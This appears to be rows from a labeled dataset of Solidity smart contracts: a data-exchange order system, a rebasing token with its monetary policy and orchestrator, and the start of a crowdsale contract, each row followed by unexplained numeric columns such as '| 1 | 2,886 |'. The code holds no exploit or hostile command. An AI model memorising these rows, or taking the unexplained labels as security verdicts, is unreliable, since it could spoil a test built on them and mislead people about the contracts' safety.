notaryInfo[notary] = NotaryInfo(
responsesPercentage,
notarizationFee,
notarizationTermsOfService,
uint32(block.timestamp)
);
notaries.push(notary);
orderStatus = OrderStatus.NotaryAdded;
return true;
}
function addDataResponse(
address seller,
address notary,
string dataHash
) public onlyOwner validAddress(seller) validAddress(notary) returns (bool) {
require(orderStatus == OrderStatus.NotaryAdded);
require(transactionCompletedAt == 0);
require(!hasSellerBeenAccepted(seller));
require(hasNotaryBeenAdded(notary));
sellerInfo[seller] = SellerInfo(
notary,
dataHash,
uint32(block.timestamp),
0,
DataResponseStatus.DataResponseAdded
);
sellers.push(seller);
return true;
}
function closeDataResponse(
address seller,
bool transactionCompleted
) public onlyOwner validAddress(seller) returns (bool) {
require(orderStatus != OrderStatus.TransactionCompleted);
require(transactionCompletedAt == 0);
require(hasSellerBeenAccepted(seller));
require(sellerInfo[seller].status == DataResponseStatus.DataResponseAdded);
sellerInfo[seller].status = transactionCompleted
? DataResponseStatus.TransactionCompleted
: DataResponseStatus.RefundedToBuyer;
sellerInfo[seller].closedAt = uint32(block.timestamp);
return true;
}
function close() public onlyOwner returns (bool) {
require(orderStatus != OrderStatus.TransactionCompleted);
require(transactionCompletedAt == 0);
orderStatus = OrderStatus.TransactionCompleted;
transactionCompletedAt = uint32(block.timestamp);
return true;
}
function hasSellerBeenAccepted(
address seller
) public view validAddress(seller) returns (bool) {
return sellerInfo[seller].createdAt != 0;
}
function hasNotaryBeenAdded(
address notary
) public view validAddress(notary) returns (bool) {
return notaryInfo[notary].addedAt != 0;
}
function getNotaryInfo(
address notary
) public view validAddress(notary) returns (
address,
uint256,
uint256,
string,
uint32
) {
require(hasNotaryBeenAdded(notary));
NotaryInfo memory info = notaryInfo[notary];
return (
notary,
info.responsesPercentage,
info.notarizationFee,
info.notarizationTermsOfService,
uint32(info.addedAt)
);
}
function getSellerInfo(
address seller
) public view validAddress(seller) returns (
address,
address,
string,
uint32,
uint32,
bytes32
) {
require(hasSellerBeenAccepted(seller));
SellerInfo memory info = sellerInfo[seller];
return (
seller,
info.notary,
info.dataHash,
uint32(info.createdAt),
uint32(info.closedAt),
getDataResponseStatusAsString(info.status)
);
}
function getNotaryForSeller(
address seller
) public view validAddress(seller) returns (address) {
require(hasSellerBeenAccepted(seller));
SellerInfo memory info = sellerInfo[seller];
return info.notary;
}
function getDataResponseStatusAsString(
DataResponseStatus drs
) internal pure returns (bytes32) {
if (drs == DataResponseStatus.DataResponseAdded) {
return bytes32("DataResponseAdded");
}
if (drs == DataResponseStatus.RefundedToBuyer) {
return bytes32("RefundedToBuyer");
}
if (drs == DataResponseStatus.TransactionCompleted) {
return bytes32("TransactionCompleted");
}
throw;
}
}
library MultiMap {
struct MapStorage {
mapping(address => uint) addressToIndex;
address[] addresses;
}
function get(
MapStorage storage self,
uint index
) public view returns (address) {
require(index < self.addresses.length);
return self.addresses[index];
}
function exist(
MapStorage storage self,
address _key
) public view returns (bool) {
if (_key != address(0)) {
uint targetIndex = self.addressToIndex[_key];
return targetIndex < self.addresses.length && self.addresses[targetIndex] == _key;
} else {
return false;
}
}
function insert(
MapStorage storage self,
address _key
) public returns (bool) {
require(_key != address(0));
if (exist(self, _key)) {
return true;
}
self.addressToIndex[_key] = self.addresses.length;
self.addresses.push(_key);
return true;
}
function removeAt(MapStorage storage self, uint index) public returns (bool) {
return remove(self, self.addresses[index]);
}
function remove(MapStorage storage self, address _key) public returns (bool) {
require(_key != address(0));
if (!exist(self, _key)) {
return false;
}
uint currentIndex = self.addressToIndex[_key];
uint lastIndex = SafeMath.sub(self.addresses.length, 1);
address lastAddress = self.addresses[lastIndex];
self.addressToIndex[lastAddress] = currentIndex;
self.addresses[currentIndex] = lastAddress;
delete self.addresses[lastIndex];
delete self.addressToIndex[_key];
self.addresses.length--;
return true;
}
function length(MapStorage storage self) public view returns (uint) {
return self.addresses.length;
}
}
library CryptoUtils {
function isSignedBy(
bytes32 hash,
address signer,
bytes signature
) private pure returns (bool) {
require(signer != address(0));
bytes32 prefixedHash = ECRecovery.toEthSignedMessageHash(hash);
address recovered = ECRecovery.recover(prefixedHash, signature);
return recovered == signer;
}
function isNotaryAdditionValid(
address order,
address notary,
uint256 responsesPercentage,
uint256 notarizationFee,
string notarizationTermsOfService,
bytes notarySignature
) public pure returns (bool) {
require(order != address(0));
require(notary != address(0));
bytes32 hash = keccak256(
abi.encodePacked(
order,
responsesPercentage,
notarizationFee,
notarizationTermsOfService
)
);
return isSignedBy(hash, notary, notarySignature);
}
function isDataResponseValid(
address order,
address seller,
address notary,
string dataHash,
bytes signature
) public pure returns (bool) {
require(order != address(0));
require(seller != address(0));
require(notary != address(0));
bytes memory packed = bytes(dataHash).length > 0
? abi.encodePacked(order, notary, dataHash)
: abi.encodePacked(order, notary);
bytes32 hash = keccak256(packed);
return isSignedBy(hash, seller, signature);
}
function isNotaryVeredictValid(
address order,
address seller,
address notary,
bool wasAudited,
bool isDataValid,
bytes notarySignature
) public pure returns (bool) {
require(order != address(0));
require(seller != address(0));
require(notary != address(0));
bytes32 hash = keccak256(
abi.encodePacked(
order,
seller,
wasAudited,
isDataValid
)
);
return isSignedBy(hash, notary, notarySignature);
}
}
contract DataExchange is TokenDestructible, Pausable {
using SafeMath for uint256;
using MultiMap for MultiMap.MapStorage;
event NotaryRegistered(address indexed notary);
event NotaryUpdated(address indexed notary);
event NotaryUnregistered(address indexed notary);
event NewOrder(address indexed orderAddr);
event NotaryAddedToOrder(address indexed orderAddr, address indexed notary);
event DataAdded(address indexed orderAddr, address indexed seller);
event TransactionCompleted(address indexed orderAddr, address indexed seller);
event RefundedToBuyer(address indexed orderAddr, address indexed buyer);
event OrderClosed(address indexed orderAddr);
struct NotaryInfo {
address addr;
string name;
string notaryUrl;
string publicKey;
}
MultiMap.MapStorage openOrders;
MultiMap.MapStorage allowedNotaries;
mapping(address => address[]) public ordersBySeller;
mapping(address => address[]) public ordersByNotary;
mapping(address => address[]) public ordersByBuyer;
mapping(address => NotaryInfo) internal notaryInfo;
mapping(address => bool) private orders;
mapping(
address => mapping(address => mapping(address => uint256))
) public buyerBalance;
mapping(address => mapping(address => uint256)) public buyerRemainingBudgetForAudits;
modifier validAddress(address addr) {
require(addr != address(0));
require(addr != address(this));
_;
}
modifier isOrderLegit(address order) {
require(orders[order]);
_;
}
WIBToken token;
uint256 public minimumInitialBudgetForAudits;
constructor(
address tokenAddress,
address ownerAddress
) public validAddress(tokenAddress) validAddress(ownerAddress) {
require(tokenAddress != ownerAddress);
token = WIBToken(tokenAddress);
minimumInitialBudgetForAudits = 0;
transferOwnership(ownerAddress);
}
function registerNotary(
address notary,
string name,
string notaryUrl,
string publicKey
) public onlyOwner whenNotPaused validAddress(notary) returns (bool) {
bool isNew = notaryInfo[notary].addr == address(0);
require(allowedNotaries.insert(notary));
notaryInfo[notary] = NotaryInfo(
notary,
name,
notaryUrl,
publicKey
);
if (isNew) {
emit NotaryRegistered(notary);
} else {
emit NotaryUpdated(notary);
}
return true;
}
function unregisterNotary(
address notary
) public onlyOwner whenNotPaused validAddress(notary) returns (bool) {
require(allowedNotaries.remove(notary));
emit NotaryUnregistered(notary);
return true;
}
function setMinimumInitialBudgetForAudits(
uint256 _minimumInitialBudgetForAudits
) public onlyOwner whenNotPaused returns (bool) {
minimumInitialBudgetForAudits = _minimumInitialBudgetForAudits;
return true;
}
function newOrder(
string filters,
string dataRequest,
uint256 price,
uint256 initialBudgetForAudits,
string termsAndConditions,
string buyerURL,
string publicKey
) public whenNotPaused returns (address) {
require(initialBudgetForAudits >= minimumInitialBudgetForAudits);
require(token.allowance(msg.sender, this) >= initialBudgetForAudits);
address newOrderAddr = new DataOrder(
msg.sender,
filters,
dataRequest,
price,
termsAndConditions,
buyerURL,
publicKey
);
token.transferFrom(msg.sender, this, initialBudgetForAudits);
buyerRemainingBudgetForAudits[msg.sender][newOrderAddr] = initialBudgetForAudits;
ordersByBuyer[msg.sender].push(newOrderAddr);
orders[newOrderAddr] = true;
emit NewOrder(newOrderAddr);
return newOrderAddr;
}
function addNotaryToOrder(
address orderAddr,
address notary,
uint256 responsesPercentage,
uint256 notarizationFee,
string notarizationTermsOfService,
bytes notarySignature
) public whenNotPaused isOrderLegit(orderAddr) validAddress(notary) returns (bool) {
DataOrder order = DataOrder(orderAddr);
address buyer = order.buyer();
require(msg.sender == buyer);
require(!order.hasNotaryBeenAdded(notary));
require(allowedNotaries.exist(notary));
require(
CryptoUtils.isNotaryAdditionValid(
orderAddr,
notary,
responsesPercentage,
notarizationFee,
notarizationTermsOfService,
notarySignature
)
);
bool okay = order.addNotary(
notary,
responsesPercentage,
notarizationFee,
notarizationTermsOfService
);
if (okay) {
openOrders.insert(orderAddr);
ordersByNotary[notary].push(orderAddr);
emit NotaryAddedToOrder(order, notary);
}
return okay;
}
function addDataResponseToOrder(
address orderAddr,
address seller,
address notary,
string dataHash,
bytes signature
) public whenNotPaused isOrderLegit(orderAddr) returns (bool) {
DataOrder order = DataOrder(orderAddr);
address buyer = order.buyer();
require(msg.sender == buyer);
allDistinct(
[
orderAddr,
buyer,
seller,
notary,
address(this)
]
);
require(order.hasNotaryBeenAdded(notary));
require(
CryptoUtils.isDataResponseValid(
orderAddr,
seller,
notary,
dataHash,
signature
)
);
bool okay = order.addDataResponse(
seller,
notary,
dataHash
);
require(okay);
chargeBuyer(order, seller);
ordersBySeller[seller].push(orderAddr);
emit DataAdded(order, seller);
return true;
}
function closeDataResponse(
address orderAddr,
address seller,
bool wasAudited,
bool isDataValid,
bytes notarySignature
) public whenNotPaused isOrderLegit(orderAddr) returns (bool) {
DataOrder order = DataOrder(orderAddr);
address buyer = order.buyer();
require(order.hasSellerBeenAccepted(seller));
address notary = order.getNotaryForSeller(seller);
require(msg.sender == buyer || msg.sender == notary);
require(
CryptoUtils.isNotaryVeredictValid(
orderAddr,
seller,
notary,
wasAudited,
isDataValid,
notarySignature
)
);
bool transactionCompleted = !wasAudited || isDataValid;
require(order.closeDataResponse(seller, transactionCompleted));
payPlayers(
order,
buyer,
seller,
notary,
wasAudited,
isDataValid
);
if (transactionCompleted) {
emit TransactionCompleted(order, seller);
} else {
emit RefundedToBuyer(order, buyer);
}
return true;
}
function closeOrder(
address orderAddr
) public whenNotPaused isOrderLegit(orderAddr) returns (bool) {
require(openOrders.exist(orderAddr));
DataOrder order = DataOrder(orderAddr);
address buyer = order.buyer();
require(msg.sender == buyer || msg.sender == owner);
bool okay = order.close();
if (okay) {
uint256 remainingBudget = buyerRemainingBudgetForAudits[buyer][order];
buyerRemainingBudgetForAudits[buyer][order] = 0;
require(token.transfer(buyer, remainingBudget));
openOrders.remove(orderAddr);
emit OrderClosed(orderAddr);
}
return okay;
}
function getOrdersForNotary(
address notary
) public view validAddress(notary) returns (address[]) {
return ordersByNotary[notary];
}
function getOrdersForSeller(
address seller
) public view validAddress(seller) returns (address[]) {
return ordersBySeller[seller];
}
function getOrdersForBuyer(
address buyer
) public view validAddress(buyer) returns (address[]) {
return ordersByBuyer[buyer];
}
function getOpenOrders() public view returns (address[]) {
return openOrders.addresses;
}
function getAllowedNotaries() public view returns (address[]) {
return allowedNotaries.addresses;
}
function getNotaryInfo(
address notary
) public view validAddress(notary) returns (address, string, string, string, bool) {
NotaryInfo memory info = notaryInfo[notary];
return (
info.addr,
info.name,
info.notaryUrl,
info.publicKey,
allowedNotaries.exist(notary)
);
}
function allDistinct(address[5] addresses) private pure {
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
for (uint j = i + 1; j < addresses.length; j++) {
require(addresses[i] != addresses[j]);
}
}
}
function chargeBuyer(DataOrder order, address seller) private whenNotPaused {
address buyer = order.buyer();
address notary = order.getNotaryForSeller(seller);
uint256 remainingBudget = buyerRemainingBudgetForAudits[buyer][order];
uint256 orderPrice = order.price();
(,, uint256 notarizationFee,,) = order.getNotaryInfo(notary);
uint256 totalCharges = orderPrice.add(notarizationFee);
uint256 prePaid = Math.min256(notarizationFee, remainingBudget);
uint256 finalCharges = totalCharges.sub(prePaid);
buyerRemainingBudgetForAudits[buyer][order] = remainingBudget.sub(prePaid);
require(token.transferFrom(buyer, this, finalCharges));
buyerBalance[buyer][order][seller] = buyerBalance[buyer][order][seller].add(totalCharges);
}
function payPlayers(
DataOrder order,
address buyer,
address seller,
address notary,
bool wasAudited,
bool isDataValid
) private whenNotPaused {
uint256 orderPrice = order.price();
(,, uint256 notarizationFee,,) = order.getNotaryInfo(notary);
uint256 totalCharges = orderPrice.add(notarizationFee);
require(buyerBalance[buyer][order][seller] >= totalCharges);
buyerBalance[buyer][order][seller] = buyerBalance[buyer][order][seller].sub(totalCharges);
address notarizationFeeReceiver = wasAudited ? notary : buyer;
address orderPriceReceiver = (!wasAudited || isDataValid) ? seller : buyer;
require(token.transfer(notarizationFeeReceiver, notarizationFee));
require(token.transfer(orderPriceReceiver, orderPrice));
}
} | 0 | 748 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.4.24;
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
pragma solidity 0.4.24;
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
pragma solidity >=0.4.24 <0.6.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
function isConstructor() private view returns (bool) {
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function initialize(address sender) internal initializer {
_owner = sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string name, string symbol, uint8 decimals) internal initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
pragma solidity 0.4.24;
contract UFragments is ERC20Detailed, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
address public monetaryPolicy;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy);
_;
}
bool private rebasePausedDeprecated;
bool private tokenPausedDeprecated;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 100000 * uint(10)**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
address public deployer;
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
constructor () public {
deployer = msg.sender;
}
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMonetaryPolicy
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function initialize(string name_, string symbol_, address owner_, address migrator_, address pool1_)
public
onlyDeployer
initializer
{
ERC20Detailed.initialize(name_, symbol_, uint8(DECIMALS));
Ownable.initialize(owner_);
rebasePausedDeprecated = false;
tokenPausedDeprecated = false;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
uint256 pool1Val = 75000 * (10 ** DECIMALS);
uint256 pool1Gons = pool1Val.mul(_gonsPerFragment);
_gonBalances[migrator_] = TOTAL_GONS.sub(pool1Gons);
_gonBalances[pool1_] = pool1Gons;
emit Transfer(address(0x0), migrator_, _totalSupply.sub(pool1Val));
emit Transfer(address(0x0), pool1_, pool1Val);
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
}
pragma solidity 0.4.24;
interface IOracle {
function getData() external returns (uint256, bool);
}
contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
UFragments public uFrags;
IOracle public marketOracle;
uint256 private baseCpi;
uint256 public deviationThreshold;
uint256 public rebaseLag;
uint256 public minRebaseTimeIntervalSec;
uint256 public lastRebaseTimestampSec;
uint256 public rebaseWindowOffsetSec;
uint256 public rebaseWindowLengthSec;
uint256 public epoch;
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
address public orchestrator;
address public deployer;
modifier onlyOrchestrator() {
require(msg.sender == orchestrator);
_;
}
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
constructor () public {
deployer = msg.sender;
}
function rebase() external onlyOrchestrator {
require(inRebaseWindow());
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
lastRebaseTimestampSec = now.sub(
now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
uint256 targetRate = 10 ** DECIMALS;
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, supplyDelta, now);
}
function setMarketOracle(IOracle marketOracle_)
external
onlyDeployer
{
require(marketOracle == address(0));
marketOracle = marketOracle_;
}
function setOrchestrator(address orchestrator_)
external
onlyOwner
{
orchestrator = orchestrator_;
}
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyOwner
{
deviationThreshold = deviationThreshold_;
}
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyOwner
{
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
function initialize(address owner_, UFragments uFrags_)
public
onlyDeployer
initializer
{
Ownable.initialize(owner_);
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 10;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 72000;
rebaseWindowLengthSec = 15 minutes;
lastRebaseTimestampSec = 0;
epoch = 0;
uFrags = uFrags_;
}
function inRebaseWindow() public view returns (bool) {
return (
now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec))
);
}
function computeSupplyDelta(uint256 rate, uint256 targetRate)
private
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
int256 targetRateSigned = targetRate.toInt256Safe();
return uFrags.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
}
pragma solidity 0.4.24;
interface YearnRewardsI {
function starttime() external returns (uint256);
function totalRewards() external returns (uint256);
function y() external returns (address);
}
interface UniV2PairI {
function sync() external;
}
interface ERC20MigratorI {
function totalMigrated() external returns (uint256);
}
pragma solidity 0.4.24;
contract Orchestrator is Ownable {
using SafeMath for uint256;
struct Transaction {
bool enabled;
address destination;
bytes data;
}
event TransactionFailed(address indexed destination, uint index, bytes data);
Transaction[] public transactions;
UFragmentsPolicy public policy;
YearnRewardsI public pool0;
YearnRewardsI public pool1;
ERC20Detailed public based;
uint256 public rebaseRequiredSupply;
address public deployer;
UniV2PairI[3] public uniSyncs;
uint256 constant SYNC_GAS = 50000;
address constant uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
function genUniAddr(address left, address right) internal pure returns (UniV2PairI) {
address first = left < right ? left : right;
address second = left < right ? right : left;
address pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
uniFactory,
keccak256(abi.encodePacked(first, second)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
return UniV2PairI(pair);
}
constructor () public {
deployer = msg.sender;
}
function initialize(
address policy_,
address pool0_,
address pool1_,
address based_,
address weth_,
address synth_sUSD_,
uint256 rebaseRequiredSupply_
) public onlyDeployer initializer {
require(deployer == msg.sender);
Ownable.initialize(msg.sender);
policy = UFragmentsPolicy(policy_);
pool0 = YearnRewardsI(pool0_);
pool1 = YearnRewardsI(pool1_);
based = ERC20Detailed(based_);
uniSyncs[0] = genUniAddr(based_, synth_sUSD_);
uniSyncs[1] = genUniAddr(based_, pool0.y());
uniSyncs[2] = genUniAddr(based_, weth_);
rebaseRequiredSupply = rebaseRequiredSupply_;
}
function rebase()
external
{
uint256 rewardsDistributed = pool0.totalRewards().add(pool1.totalRewards());
require(rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= pool1.starttime() + 4 weeks, "rebaseRequiredSupply or 4 weeks since pool1 constraint");
require(msg.sender == tx.origin);
policy.rebase();
for (uint i = 0; i < uniSyncs.length; i++) {
address(uniSyncs[i]).call.gas(SYNC_GAS)(uniSyncs[i].sync.selector);
}
}
} | 1 | 2,886 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
